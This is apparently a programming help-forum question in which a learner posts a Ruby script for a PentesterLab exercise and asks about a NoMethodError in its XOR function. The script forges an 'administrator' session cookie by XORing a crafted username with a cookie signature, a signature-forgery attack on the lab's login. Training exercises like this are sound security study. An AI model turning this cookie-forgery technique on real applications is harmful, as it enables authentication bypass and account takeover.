I wrote this code for an exercise in pentesterlab:
require 'httparty'require 'base64'URL = 'http://ptl-a4b5e023-f4db1f7c.libcurl.so/'def login(username) res = HTTParty.post(URL+'login.php',body:{username:username,password: 'Password1'}> return res.headers["set-cookie"].split("=")[1]endcookie = login("administ")signature1 = Base64.decode64(cookie).split("__")[1]def xor(str1, str2) ret ="" str1.split(//).each_with_index do |c, i| ret[i] = (str1[i].ord ^ str2[i].ord).chr end return retendusername2 = xor("rator\00\00\00",signature1)cookie2 = login(username2).gsub("%2B","+")puts cookie2signature2 = Base64.decode64(cookie2).split("__")[1]puts signature2puts Base64.encode64("administrator--#{signature2}")And I got this error:
ruby cbcccccc.rb cbcccccc.rb:17:in `block in xor': undefined method `[]' for nil (NoMethodError) ret[i] = (str1[i].ord ^ str2[i].ord).chr ^^^ from cbcccccc.rb:16:in `each' from cbcccccc.rb:16:in `each_with_index' from cbcccccc.rb:16:in `xor' from cbcccccc.rb:22:in `<main>'What is causing the error?